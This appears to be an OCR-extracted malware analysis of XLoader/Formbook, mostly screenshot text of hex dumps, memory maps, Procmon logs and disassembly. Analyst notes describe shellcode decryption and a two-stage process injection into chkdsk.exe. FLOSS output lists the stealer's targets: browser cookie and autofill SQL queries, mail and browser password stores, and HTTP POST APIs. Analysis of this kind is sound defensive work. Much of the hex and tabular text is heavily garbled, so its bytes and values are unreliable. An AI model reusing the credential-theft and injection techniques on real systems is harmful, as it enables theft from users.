013708B@ BE 2A 72 F5 4C D6 F7 @A SE E4 3F 1B B® A@ 36 F3 Z*rdL0:. d2.° 66
p13768C@ 2F 52 D4 3B 2D 13 AG FO ©O7 DE 73 14 @5 EA 7F A3 /Rd;-. 3.ps..&.£
01370802 81 37 BF C8 4C 67 90 51 4D D@ 51 61 6B CF 87 64 .7.ELg.QMPQakitd B stack view
@13788E@ AE 5F 14 48 A@ EA 89 EB FA SF E9 CF 7C 84 B® 15 ©_.H #&&d_ei|,°.
p13786F@ 1D BE 13 A9 64 EF 8A BA 16 6F 8C 6D 11 7E 99 D2 .Z.edi52.o@m.~™D @LOFELSE @1OFELEE Stack[00001FAC]:@lOFELES
21370108 78 €8 7E 17 10 @B D5 FB EA 25 (B 86 43 72 26 F7 xE~...008%EtCrds @18FFE94  Stack[@A@R1FAC]:@18FFE94
21378118 AB 54 86 FF 5E 13 EA 2C @0 E8 77 A8 6A 54 75 23 ~Tty~.&,.ew jTust @18FEIBC Stack[@@881FAC] :@1BFEIBC

61376126 D6 B6 9B @E 45 1D 8C @A 21 5B Al A@ 20 5B E9 32 O .E.G.![; 2000800
1378136 6B B4 6E 31 @8 7D BA 91 54 64 9A 7A 3D FA 22 41 k'nl. 67452301
1370148 1@ 51 F1 96 @6 C9 B7 FF ES 27 F4 85 DC E7 @2 AC .Qfi-. NI EFCDAB39
31378158 AE D4 55 A9 13 D5 82 D@ 5B @A 7E 4C 54 17 A8 12 80U@.0.B[.~LT. . 98BADCFE
21378168 6E (@ @A 18 1D B7 5C C1 7F Bl 4A 9C 3F BF 78 4F nA...-\A.tJe?:x0 18325476
p127817@ B9 DC C2 CE 5E C2 C3 D1 5A @3 AA 84 75 54 1@ 80 UAI~AEAZ.z,uT.% C3D2E1F@
p1378188 37 2C 6E FA 5@ BE 86 3A 37 22 2E 4F 18 8B 53 @2 7,ndPit:7".0.<5. 2a800000
1378198 D3 FS 3E @8 AB ED 16 7C 9C 76 A6 BC 69 59 61 72 08».«i.|ev|EiYar 2e200000
31378148 BS BC A3 A6 68 F6 3A 51 54 A2 25 @5 19 F2 9B AC p¥F|h&:QT¢¥%. .o~ FFFFFFFF
013781B@ 45 47 58 BF (0 FE F3 B9 68 8C FB CA F8 (D A3 CF EGP:ApéthEaEeisl @16FE41E  Stack[@@@81FAC]:@18FE41E
p12781C@ 2E 99 33 82 2D 99 82 EE 2@ 58 B9 27 20 9D 59 37 .™3,-7,i-X1T..¥7 aaaooaoe
PBEOEROG
UNENOWN 01370001: debug053:01370001 (Synchronized with ESI) v 00000000
22 27 PP PP PP PP 2P PP PP PP 2P 2P PP PR PP R? 2222PRRIPRRRIINR BEshatseasd =)
PP PP PP PP PP PP PP PP PP PP PP PP PP PP PP PP 77 EDX @10FE168 Y% Stack[@@@@lFAC]:@18FELGE
n 370000 @7 EE E7 F5 D6 83 4@ AD A9 S5A 89 A6 @8 AB MZ.&c30f@ez.|.” ESI 81370008 \» debugBS3:@1378088
[1378616 25 85 @E E8 AE 50 BF DF E6 8B 9C DC 71 Al 75 3F X..2%P:Rzcelqju? EDT @B@2C3F4 W
137828 €2 86 7F 38 D4 98 A6 D1 1A DJ
1378636 F3 DD BE AG E6 3@ 8@ 78 77 A4 P dump.exe (4444) ((x 1370000 - 0:x139d000) - O hed
13 mEd exe (4444) Pr s ]| e
a oooooo00 Bd Sa 07 23 e7 £5 d6 83 40 ad a% S5a A
a - 00000010 25 35 Oe 3 as 50 bf df =€ &b 5c dc
gl  General | Statistics | Performance | Threads | Toh 00050 o2 86 75 38 d4 9b a6 dl la d2 24 2f
a ) ) 00000030 £3 dd bf a9 6 30 80 7b 77 aa c7 c3 . .. =
a [ Hide free regions 00000040 75 52 75 4c b3 a7 82 3d dc Te 48 49 d4 77 54 68 uRul...=.~HIL.wTh jEfesh
a 00000050 6% 73 20 70 72 €£ €7 72 61 €d 20 €3 €1 6= 62 6f is program canno
a Base address Type 00000060 74 20 62 €5 20 72 75 €e 20 €9 €e 20 44 4f 53 20 t be run in DOS hared v
a 01715000 Private: Commit 00000070 6d 6£ €4 €5 2e £4 cO 43 ee 84 73 46 da 20 b8 &5 mode...C..sF. .e E
a 0%1755000 Private: Commit 00000020 £5 ae b4 c4 le al d9 9d £b 11 ad ed 22 11 €A 628 «uvevnennunnnss n
a ox17e5000 Private: Commit 00000090 fa 3d 32 cé 9d 92 b4 fe 01 83 cc 35 18 48 92 96 .=2........ 5.H.. i
a e ) 00000020 b4 Ta 37 87 ef dd 13 23 ca 7d 2 &b 14 fc 8b b8 .27....8.}.cuu..
1 Ox1c4e000 Private: Commit 000000b0 8e 2a 72 £5 4c dé £7 Oa 5 =4 3£ 1b b0 a0 36 £3 .*I.L...".2...6.
a 0x1d4c000 Private: Commit 000000c0 2£ 52 d4 3b 2d 13 a0 £0 07 de 73 14 05 ea 7f a3 /R.i—..... EF.
a 0x1e4d000 Private: Commit 00000040 81 37 8f c& 4c &7 90 51 4d d0 51 €1 éb cf 87 64 .7..Lg.QM.Qak..d
L 0x5e1000 Image: Commit 00000020 ae S5f 14 43 al =a 39 eb fa 5f 2% cf Tc 84 B [ [
a 0% 1370000 Mapped: Com... 000000£0 1d 22 13 a% €4 =f 8a ba 16 &£ 8c &d 11 Te P 180
ay | om0 privte: Commit |00 10 a5 54 88 ££ Se 13 ea 26 00 o3 77 at €a 54 e
| . § ad 14 e ea 2c 28 g fa . wW.]Tu
i 075701000 Image: Commit 00000120 d6 bé 9b Oe 45 1d Sc 0a 21 5b al a0 20 5b [.z i
o 076620000 Image: Commit 00000130 b b4 ée 31 00 7d ba 91 54 64 9a 7a 3d fa =."L jio
1§ 0x76731000 Image: Commit 00000140 10 51 £1 96 06 c@ b7 £f &5 27 £4 35 dc &7 &0
i 0x755f1000 Image: Commit 00000150 as d4 55 a% 13 d5 02 do Sb 0a Te 4c 54 17 as 100
a 0x76c91000 Image: Commit 00000160 62 cO Oa 18 1d b7 Sc cl 7£ bl 4a 9c 3£ bf 78 140
i 0x75d51000 Image: Commit 00000170 k9 dc c2 ce 5= c2 c8 dl 5a 03 aa 24 75 54 10 348
0x77601000 Image: Commit 00000180 37 2c 6= fa 50 8e 86 3a 37 22 2e 4f 10 8b 53 4

e | stepped over a few functions while monitoring the memory region.

e The malwareis decrypting the shellcode from the binary

e Only plain shellcode is left without MZ headers

e Thisis the 3™ stage xloader which is partially decrypted

e | dumpedthebinary from memoryandruna FLOSS string search on it which provides some useful
insights



=

General Statistics Performance Threads Token Modules Memory Environment Handles GPU  Comment

Hide free regions Strings... Refresh
=

Base address Type Size Protect... Use Total WS Private WS Shareable W35 Shared v ™
0x10fa000 Private: Commit 8kB RW4G Stack 32-bit (thread 8108)
01225000 Private: Commit 12kB RWHG Stack (thread 7508) B dump.exe (4444) (0% 1370000 - 0x139d000) - O bt
0x159c000 Private: Commit BKE RW+G Stack 32-bit (thread 7508)
0x15d5000 Private: Commit 12kB RW+G  Stack (thread 7308) 00000000 d8 69 €3 db b5 c8 ab bf b 85 o3 55 61 80 a4 7b .ic........U...{ ~
0x16dd000 Private: Commit 8kE RW4G Stack 32-bit {thread 7308)] 00000010 c2 01 43 45 1f 2c 1b d8 al 4a cd 43 £5 82 9d 84 ..CE.,...J.C....
0x1715000 Private: Commit 12kB RW4G Stack (thread 1252) 00000020 &8 28 b2 S5f db 7f 43 0d 38 3f cd 06 &4 35 65 85 h{._..C.872..mS5e.
0x1755000 Private: Commit 12kB RWHG Stack (thread 5412) 00000030 27 == ££ 36 &d c7 20 =a 43 &b Ic 3£ d6 47 08 85 '.
05175000 Private: Commit 12kB RW4G Stack (thread 1620) 00000040 ac d5 9d 44 29 09 £7 96 £1 5d 54 18 1f 52 8£ 7b ....

" " " 00000050 5a 5f af c3 50 da fa 09 dl dl cd 39 £f 48 de 22

. "
Dx';‘mm Private: Commit B: R\A”G Staiﬂ:ft (:E‘a: 12520000060 £b cé £1 3b Ob 4b = bo 53 02 77 7F 48 0% 30 &7
0x1d4c000 Private: Commit BIB RWAG  Stack 32bit (thread 6412)| 5000070 5o #1 0z €2 d7 ba ad €= @b 20 8a bd 8b cE 83 4
Ox1e4d000 Private: Commit 8KkB RW+G  Stack 32it {thread 18200 (00nons0 sc 6o 31 ea 15 62 bl 02 fe bE d b3 43 la 32 &b
0x5e 1000 Image: Commit 134kB RWX Ci\Users\shaddy\DesktopY ooooooso 14 40 b4 de 3 13 59 dd 92 b3 94 bE Of g9
01370000 Mapped: Com... 180kB RWX ef 42 0f 90 30 €e 3b bb 3f &8 6L 47 50 &2
01800000 Private: Commit 3,376k RWX 000000B0 c4 d0 ea fe 20 7€ a% €5 Ob 5d €6 éb 74 7£ 33 0b .... v.e..fkt.3.
0x75701000 Image: Commit 692K RX C:\Windows\Syswowe4y| 000000c0 £0 b2 de 45 55 66 c3 19 53 35 26 &d cb £5 d8 31
0x76620000 Image: Commit 204kB RX Cr\Windows\Syswowesly 02000040 £0 dc b2 a7 0= €2 47 45 14 £3 20 13 21 2
Q000000 4d €1 d2 72 53 36 a5 ac ec 91 el bl €% 9%
. ¢ \Window: Oy
0x76731000 Image: Commit 412 kB M. C.\\hf!ndnAsEys\:O\ﬁiﬁil\f le de ££ b7 o7 ca 67 dd o2 a9 Sf a8 ba 2e
07631000 Image: Commit 424kB R C:\Windows\SysWOWE4Y 10000100 =2 =d 25 00 1d €5 aa 85 1f 05 2b £1 69 62 ba &=
0x76c21000 Image: Commit F0BKB RX C:\Windows\SysWOWEH 00000110 €4 o5 cl bd eb a5 34 9a &6 b3 cd 52 76 dé 25 ee
0x76d51000 Image: Commit 2,028k RX CiiWindows\SysWOWE4W 00000120 a4 £9 43 €2 33 ca ba 3d 59 &5 49 £3 cd 3 dé 8e
0x77601000 Image: Commit 12kB RX C:\Windows\System32ywo| 00000130 9£ &7 38 b b0 &d le 64 6c £c 12 53 38 al a4 44
0x77607000 Image: Commit 4kB RX Ci\Windows\System32iwo| 00000140 &1 £2 58 c4 86 42 b5 96 3a cb cB 53 cb 41 ac 4a
77611000 < 00000150 ea 75 a6 2a 30 1d 10 d4 &7 08 59 Te 41 c5 el o7
77

00000160 b3 55
00000170 77 46

3
1% 57 58 ba Of bS 86 50 ef fd 4f la da
8d 45 a6 46 5f 77

I3
o
X}

40 75 db 8d 83 5c 5c 7 d3 al c7 47 d3

7
00000150 54 lc 81 9
00000190 82 33 e4 7b 79 1b da 05 75 4b da b% cé d7 al bb .3.{y...uK......
000001a0 7£ £4 77 lc a3 14 7% 32 72 al 96 fc 1d £2 31 73 ..W...¥.L.....1l3
000001b0 e7 Oa 56 d1 b6 65 40 bf 30 46 07 bd 7f ca Sa &8d ..V..e@.0F....Z.
000001cO 4d 2e 58 85 dé 51 47 60 a8 db a6 €6 53 9e 66 ad4 M.X..06 ...f5.f.
00000140 97 10 a7 b2 c& 96 75 c0 7 d9 7d f= 69 kb S= 58 ...
00000le0 c2 11 50 31 43 11 66 bc 51 9= &7 fb 06 1f 55 1b .
000001£0 a6 £2 cl ca b0 2f 4e If 5f ec 57 If 5d la 2d e5
00000200 €0 1d %k 10 8b £b c2 cd fb 36 75 04 3e 7f ad 44

result
result
esult

.result

re
.result
result
esult

jlite-dll-win

rom function

er ecoding




Extracted Stings from Xloader 4.3 Stage3 shellcode

1 | Extracted 2016
2012
2008
open
\explorer.exe
windir
.exe
\rundll32.exe
\System32
\SysWOW64
windir
.exe
dll
\Current Session
\INetCookies
\Microsoft\Windows
.sqlite
\Cookies
\explorer.exe
windir
Clipboard
Unknown
[System]
USERNAME
dll
log.ini
sog.ini
ProgramfFiles
SysWOW64\
SELECT name, value FROM autofill
name
value:
datetime
SELECT host_key, path, is_secure, expires_utc, name, value, encrypted_value
FROM cookies
FALSE
TRUE
Cookies
Autofill
Chrome
PATH
Firefox\
.exe
Firefox
Program Files



\Firefox
CurrentVersion
Main

Install Directory
guid

httpRealm
hostname
profiles.ini

PATH
Thunderbird\
Firefox\

null

Account
Password
POP3Account
POP3Password
Account.stg

Fox Recovery
\Program Files
Opera

Chrome
\3r9Pk-75 _
Recovery

\Opera Software\Opera Stable
\Opera Software\Opera Stable
P#S%&!()*+,-./5<=>?@\]"_{|}~
encrypted_key
Local State

Pass

User

Internet Explorer\IntelliForms\Storage2
Pass

Name

__Vault

lexplor

Outlook Recovery
Password

2016

urlmon.dll
User-Agent:

Local State
Windows Explorer
Windows Explorer
POST

wininet.dll

ggeB
InternetOpenA



2

Floss decoded
& tight strings

InternetConnectA

HttpOpenRequestA
HttpSendRequestA

InternetReadFile

InternetCloseHandle

MS-WAPI-

aaH8m\t<

>@@@7?456789:;<=
1"#S%&'()*+,-./0123
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijkimnopgrstuvwxyz0123456789+/

Pmiln
~F@7%mS™
~draGon~
explorer.exe

Microsoft\Windows

Cookies
encrypted_key
Local State
TRUE

381F
ppwEW
czX5

dll

7Chbl
sqlite3
sqlite3.dll

Process Enumeration:

hxxp://www.sqlite.org/2014/sqlite-dll-win32-x86-3080300.zip

XLoader uses NtQuerySysteminformation to get information of all running processes in the
system and then enumerates one-by-one checking and matching hashes with its own hash values

stored in conf obj.

77 88 B9 B8 6E 88 oC B8
ZE @8 65 8@ 73 88 b5 B8

73 88 65 BB 72 88 Vo o8
2E 88 65 BB 73 88 b5 B8

6F @8 67 8@ oF 88 oE B8
28 e 28 a8 o8 B8 oo e

69 88 63 B8 65 B8 73 B8
28 62 &8 ae a2 B8 B0 Be

w.i.

n.l.o.g.o.n.



Process Injection:

Xloader Injection Overview:
Xloader stage2 performs two process injections:

e Injection#1:in a random running process to start the win32 victim process in suspended state
e Injection#2: migrate itself into win32 suspended process and resume

INJECTION #1
e A 4. Restore
J d execution
Random
E?::;:g INJECTION # 2
- P - P
1 Ma"i’t:;;’ Py of ) _ SysWOwWs4
Xloader.exe 2. Hijack main process
threjad
o Xloader.exe 3 5]"
5. Retrieves
— .
Stagd 2 process info >
i 3. Create
suspended
process
Xloader.exe
N o/
6. Map a copy of & 7. Resume
itself Thread
1. NtOpenProcess, NtCreateSection, NtMapViewOfSection P
2. NtOpenThread, NtSuspendThread, NtGetThreadContext,
NtSetThreadContext, NtResumeThread

. CreateProcessinternalW \ Stage 3 /

. ret instruction to saved CONTEXT.Eip
. NtReadVirutalMemory

. NtOpenProcess, NtMapViewOfSection
. NtOpenThread, NtResumeThread

~N® o,k W

Injection # 1

e Another memory has been reserved in the malware with RWX memory region.
e | have dumped this new region and extracted the strings
e It has asingle static string which contains the name of the target process



x 1bdduan
01715000
0x 1755000
0x17c5000
0x 104000
Ox1d4c000
0x1e4d000
Ox5e 1000
01240000
01250000
01370000
0x 1300000
01250000
0x75561000
Ox 75701000
Ox75021000
Ox 75620000
0x75701000
Ox76731000
Ox767b 1000

Frivate: Commit
Private: Commit
Private: Commit
Private: Commit
Private: Commit
Private: Commit
Private: Commit
Image: Commit
Private: Commit
Private: Commit
Mapped: Com...
Private: Commit
Mapped: Com...

dkd
12kB
12kB
12 kB
akB
8kB
akB
184 kB
54kB
54kB
180 kB
3,376 kB
1,075 kB

R +Hs
R +G
RW+G
R +HG
RW+G
R +HG
RW+G
RWWX
RAK
RWWX
RAK
RAWX
RAWK

stack -t (thread f308)
Stack (thread 1252)
Stack (thread 6412)
Stack (thread 1620)
Stack 32-bit (thread 1252)

Stack 32-bit {thread 5412)
Stack 32-bit (thread 1620)
C:'\Wsers\shaddy\Desktop\dump.exe 184 kB
64 kB
64 kB
180 kB
3,376 kB
1,076 kB

il 1 LAt e L, 2ol Lo

184 kB

54 kB

54 kB
180 kB 180

3,376 kB
1,076 kB 1,076

Images o
Image:
Image:
Image:
Image:

Image:

¢ It means that this shellcode is used for starting the process chkdsk.exe which is randomized on
every execution.

e Xloader selects these binaries from SysWOW&64 directory, which are 32-bit processes

e Itinjectsthis shellcode in one of the above enumerated running processes, whichin my case is a
64-bit IDA that | had opened along with my debugger.

1:08:4... §Widabdexe 9016
1:08:4... §W¥idabdexe 9016
1:08:4... §Widabdexe 3016
1:08:4 . §Widabd exe 3016
1:08:4 . §Widabd exe 016
1:08:4... Widabd exe 5016

9016

. Widablexe 5016

s CreateFile
m CreateFileMapp...CWindows '\ SysWOWE4 chkdsk exe
m QueryStandard|...CWindows '\ SysWOWG4 \chkdsk exe

r ReadFile
m ReadFile

CAWindows \SysWOWGEd \chlcdsk exe

CA\Windows'\SysWOW64 \chkdsk exe
C A \Windows'\SysWOW64 \chldsk exe

m CreateFileMapp...C:\Windows ' SysWOWE4S \chlcdsk exe
m QuenySecurtyFile C:\Windows '\ SysWOWE4 \chldsk exe

ocess Create  C\Windows \SysWOWEd \chlkdsk exe
v QuenySecuntyFile C:\Windows\ SysWOWE4L \chlkdsk exe

AWindows W SysWOWES \chlcdsk exe

m QueryBasiclnfor_ . C:\Windows' SysWOW6G4 \chlcdsk exe

SUCCESS
FILE LOCKED WITH..
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

e Thisisalso oneof the anti-analysis techniques used by xloader. It doesn’t directly open the process
itself but injects shellcode in some random process which in turn opens the SysWOW64
randomized binary in a suspended state and then retrieves its process information and continue
with the execution.



- T:U8:4... B dump.exe 4444 i Createtile CAWindows\SysVWO WG4 \gdidZull dil SUCCESS
= B dump exe 4444 B \oad Image C:\Windows'\SysWOWE4\msvep_win.dll SUCCESS
Hacker View Tools Users Help dump.exe 4444 T QueryNamelnfo...C -W?ndows -.Sys‘."a'OWS—’l-msvcp_w?n.dll SUCCESS
; . . . dump.exe 4444 |y CreateFile C:\Windows'\SysWOWE4\msvep_win.dll SUCCESS
% Refresh {3 Options | ¢ Find handles or DLLs 54 System information | dump.exe 4444 Bloadmage  C:\Windows\SysWOWE4 wictbase.di SUCCESS
Processes  Services Network  Disk dump.exe 4444 |y QueryNamelnfo...C\Windows\SysWOWE4\ucrtbase dil SUCCESS
dump.exe 4444 ' CreateFile C\Windows \SysWOW6E4' wcrtbase dll SUCCESS
Name PID  CPU  |/Ototal.. Privateb.. dump.exe 4444 s CreateFile C:\Windows'\SysWOWE4\mm 32 di SUCCESS
dump.exe 4444 T QueryBasicInfor...C:\Windows\SysWOWE4\imm32.dll SUCCESS
dump.exe 4444 |y CloseFile C:\Windows'\SysWOWE4\imm32.dIl SUCCESS
dump.exe 4444 ' CreateFile C\Windows\SysWOWE4\mm32.dll SUCCESS

dump.exe 4444 |y CreateFileMapp...C:\Windows'\SysWOWE4\imm32.dIl FILE LOCKED WITH..
dump.exe 4444 T QueryStandard|...C:\Windows\SysWOWE4\imm32.dll SUCCESS
dump.exe 4444 |y CreateFileMapp...C:\Windows'\SysWOWE4\imm32.dIl SUCCESS
B dump exe 4444 Ty CloseFile C\Windows\SysWOWE4\mm32.dll SUCCESS
B dump exe 4444 B \oad Image C:\Windows'\SysWOWE4\imm32.dIl SUCCESS
B dump exe 4444 T QueryNamelnfo...C:\Windows\SysWOWE4\imm32.dll SUCCESS
1:08:4... W dump exe 4444 oy CreateFile C:\Windows\Sys\WOWE4\imm 32.dlIl SUCCESS
1:08:5... 'B- dump exe 4444 T CreateFile C:\Windows\SysWOWB4\chkdsk exe SUCCESS
1:08:5... W dump exe 4444 ' QueryStandard|...C\Windows\SysWOWE4\chkdsk exe SUCCESS
1:08:5... 'B- dump exe 4444 5 ReadFile CA\Windows\SysWOWB4\chkdsk exe SUCCESS
( 1:08:5... W dump exe 4444 'y CloseFile C\Windows\SysWOWE4 \chkdsk exe SUCCESS

e In Ida64, the shellcode is injected which starts the process and return the process information
back to stage2 malware of xloader.

e The RWX memory region could be seen in IDA64.

e Thisis just a dead code after opening the target process in suspended state.

Oxfobedfcooo Private: Commit 12kB RW4G Stack (thread 6012)
0x420000 Mapped: Com... 1,076 kB RWX 1,076 kB 1,076 kB 1,076
0x2d464710000 Private: Commit 64kE  RWX akB 8kB

Injection # 2:

e The second injection is performed in the chkdsk.exe (randomized SysWOW&64 binary)

e There are two buffers injected in the chkdsk.exe.

e 1 buffer of 180KB and other of 40KB

e Since this malware is performing so many injections, it is very difficult to keep track of everything
so we got an idea of creating a tool for detecting process injections.

e | would like to give special thanks to Osama Ellahi, for creating this tool in short period of time
which is very useful in detecting injections of such malware.


https://www.linkedin.com/in/osamaellahi/

B Detect Injection — O *

FID Process Name Memory Region Size Architecture
b dump 6164480 188416 x32
4444 dump 15136512 65536 x32
4444 Stage2 ||dump 19202048 65536 x32
4444 xloader | [dump 20331696 134320 x32
4444 dump 24569216 184320 x32
4444 dump 25165824 3457024 x32
4444 dump 31784560 1101824 232
5016 1 idabd 4325376 1101824 64 |
6500 [T 043968 184320 az ] \

Tool link: https://github.com/Jhangju/injectionview

e The smaller buffer contains the original chkdsk.exe bytes.

e lalsofound the function that writes shellcode in the 180KB empty buffer.

e This is also a shared memory region between the formbook payload and victim process of
chkdsk.exe

e Because the bufferis simultaneously being written in both processes.

Debug View a @A Structures. B Enums.
I %] Pseudocode-B B @ Pseudocode-A 8 D] Hex view-1 O &8 x
=
.text:00600210 push  esi e ? 2
.text:00600211 mov  esi, [ebptarg 8] ST 50
.text:00600212 sub esi, eax [P EEE 1?2 g g
[0136FFFO FEREE I 222 22 22 2
le1370000 B6 85 €3 55 91 8@ A4 7B ¢ ol “EH{
— jp1370010 Al 4A CD 43 F5 B2 9D 84 A.CE.,.0;3ics,.,,
L] le1370020 38 3F CD @6 6D 35 65 85 h(2_0.C.82f
.text:00608216 fe1370030 48 6B FC 8F D6 47 88 95 '
.text:00600216 loc 6@0216: fe1378840 F1 5D 54 18 IF 52 8F 7B
.text:80600216 mov dl, [eax] f21378850 SA SF A8 C3 58 DA FA @9 D1 D1 CD 39 FF D8 DE 22 Z
.text:00680218 dec ecx (21376660 FB C6 F1 3B @B 4B 4E BC 92 @2 77 7F D3 @9 3@ 67 5
.text:80680219 mov [esiteax], dl f21376676 6C F1 @C 6F D7 BA AD 6E 6B 20 BA B4 8B C6 68 49 1A.ox®nk-
.text:8@68821C inc eax (21376080 4C 6C 31 EA 18 6E Bl 02 FE B8 D6 B3 48 1A 32 EB L11&.nt.p 0°H.28
.text:0068821D test  ecx, ecx (21376690 65 ED 14 40 B4 DE 3B 13 59 DD 92 B3 94 BB OF 89 ei.@P;.YV¥'?” .%
(21376040 4A 6A EF 42 OF 90 88 G6E 3B BB 8F 88 6F D7 58 62 JjiB..€n;». oXPb
(21376880 C4 DB EA FE 28 76 A9 65 @B 9D 66 6B 74 7F 33 @8 ADEp-v@e..fkt.3.
19 58 35 26 6D CB F5 D& 31 B52PE™fE.XS&mEGEL
187 chkdsk.exe (6500) (0x2a0000 - 0x8cd000) - [m] *® 47 45 14 F3 28 13 21 2D °1502§.bGE.S-.!-
A5 AG EC 91 E1 B1 69 96 .-Ma@r56¥|i‘s
00000000 d8 €9 63 db bS c2 ab bf bé 85 c3 55 81 ~ 67 D4 C2 A9 BF AB B9 2E
00000010 ©2 01 43 45 1f 2c 1b d8 al da cd 43 £5 5 L1F @5 8B F1 69 62 BA 6E
00000020 &8 28 b2 S£ db Tf 43 0d 38 3f cd 06 éd 86 B3 €9 52 76 D6 25 EE
00000030 27 ee £f 36 €d c7 80 ea 48 €b fc 8f dé 59 E5 49 F8 (B E3 D6 8E
text:B0600222 00000040 ac d5 9d d4 2% 05 00 00 00 00 00 00 00 6C FC 12 83 38 A@ A4 44
text:0O600222 loc 608222: 00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 3A CB CB 53 CB 41 AC 4A .
text:BOEB0222 pop by 00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 67 8 59 7E 41 €5 E1 €7 Og.vrhac
B B pop ebp Ttpiy
text:BOEE0223 retn 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 F B9 86 50 EF FD 4F 1A DA X2 .1 1Piy0.U
= : e
_text:@8600223 sub_608203 endp 00000080 00 00 00 00 00 00 00 00 OO0 00 OO0 00 0O SF 77 F2 2A DB B1 3F (2 o f{J‘O,U A
text:B0588223 00000050 00 00 00 00 00 00 00 00 00 00 00 00 0O 3 5C 5C C7 D3 AB C7 D7 D3 T..[ul."\\CO £x0
00000020 00 00 00 00 00 00 00 00 00 40 00 00 00 5 75 4B DA BS (6 D7 AL BB ,3a{y.U.ukl &xj»
000000b0 00 00 00 00 40 00 00 00 00 00 00 00 0d 72 AL 96 FC 1D F2 31 73 .ow.f.y,ri-U.0ls
000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 F 3@ 45 67 BD 7F CA 5A ¢.VNJe;or . 4. E7.
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 AB DB A6 66 53 OF 66 A4 M.X.006" "0} fSEfu
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 @ E7 D9 7D FE 69 BB 5E 58 —.§%E-uAcU}pin"X
000000£0 00 00 00 00 00 00 00 00 00 00 00 00 00
00000100 00 00 00 00 00 00 00 00 00 40 00 00 00 004¢ (Synchronized with EAX) v
) (812,438) 0002021F 00€0021F: sub_€00203+1C (Sy 00000110 00 00 00 00 00 00 00 00 00 00 00 00 00 >



https://github.com/Jhangju/injectionview

e Here in xloader payload, the memory region is also being written simultaneously

e This is the same partially decrypted shellcode that | have displayed above, with most of the
decrypted strings.

e From here onwards, the stage3 of formbook will be executed.

[3F] dump.exe (4444 5 — O *
General Statistics Performance Threads Token Modules Memory  Environment Handles GPU Comment
Hide free regions Strings... Refresh
=

Base address Type Size Protect... Use Total WS Private WS Shareable WS Shared y ™
0x%1715000 Private: Commit 12k8 RW+G Stack (thread 1252) i
0x 1755000 Private: Commit 12kB RW4G Stack (thread 6412) I
0x17c5000 Private: Commit 12kB RWHG Stack (thread 1620)
0x1c4c000 Private: Commit kB RW+G Stack 32-bit (thread 1252)
0x1d4c000 N
Ox1e4d000 B dump.exe (4444} (0x17d0000 - 0w 17Fd000) — O x
0x5e 1000 kB
0x1240000 00000000 82 69 €3 db b5 cf ab bf bé 85 c3 55 91 20 ad Tb .iC........ U...{ ~ la
0% 1250000 00000010 c2 01 43 45 1f 2c 1b d2 al 4a cd 43 £5 82 9d L.J.C... A

00000020 68 28 b2 Sf db 7f 43 0d 38 3f cd 06 &d 35 65 C.87..m5e.
0x1370000 00000030 27 e ££ 36 6d o7 30 =a 45 6b fc 5F dé 47 03 JHk...G.. 180 kB 180
0x1770000 00000040 ac d5 8d d4 29 08 00 00 00 00 00 00 00 00 00 00 weeudevennneennn 40 kB 40
0x%17d0000 00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 vueeesennnenennn 130 kB 180
0x%1800000 00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 «ueeusennunanennn kB
0%1250000 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 «ueeesenenunanennn 1,076 kB 1,076
0x75561000 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 vuvenseennnnsnns ‘& 9748 a2

00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 «ueeeseennenennn
075701000 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 vueeesenennnanennn 24418 S
075021000 000000bG 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 «eeeeeeeeennnn.. 2048 20
076620000 000000c0 00 00 00 00 00 00 00 OO0 00 00 00 00 00 00 00 00 weveensnsnenennn ke “
0x76701000 00000040 00 00 00 OO0 00 OO0 00 00 OO0 OO0 00 00 00 00 00 00 seveuusunnnnnnnn 83 kB a3
0x76731000 00000020 00 00 00 OO 00 00 00 00 00 00 00 00 00 00 00 00 «ueeeseennenennn 0 kB &0
0x76701000 000000£0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 vueeesennnnanennn 204kB 204
0x763d1000 00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 vueeusenenunanennn 12448 194 v
0x769F1000 00000110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 vueeesenennnanennn >

00000120 00 00 00 00 00 00 00 OC 00 00 00 00 00 00 00 00 vuvenseennnnsnns

00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 wueeeseenuenennn

00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 wueeusenenunnennn Close

00000150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 wueeesenenunanennn

00000160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 vuvensennnnnsnns r~

00000170 00 OO0 00 00 00 00 00 OC 00 00 00 00 00 00 00 00 vuvenseennnnsnns

00000180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 vueeeseennanennn

00000180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 vueeesennnnanennn

000001a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 vueeusenenunanennn

000001b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 vuvensenennansnns

000001cO 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 vuvenseennnnsnns

e Finally, after resuming the suspended process in chkdsk.exe
e |t exits using ExitProcess API



Debug Yiew D IE Structures LE Enums

P@ Pseudcccdeﬁ Pseudacadeﬁ @ Hex View-1 O & x ﬁ General registers
~Text:BP5FEYYS push €bp
.text:@@5FE994 mov ebp, esp 25 18 2B 69 76 FF 25 1C 28 69 76 FiA ||pax 76634650 4 KERNEL32.DLL kernel32 ExitProcess
¢
.text:8B5FE996 mov eax, [ebptarg ] Zg ;; g: i‘; ;g g: zg z; g: ig ;g gi EBX 00000000
.text:@85FE999 mov ecx, [eax+366h] o 2B 40 M TP 7 & Gr @ @F o o ECX 763F1DE3 &
.text:@B5FE99F push esi

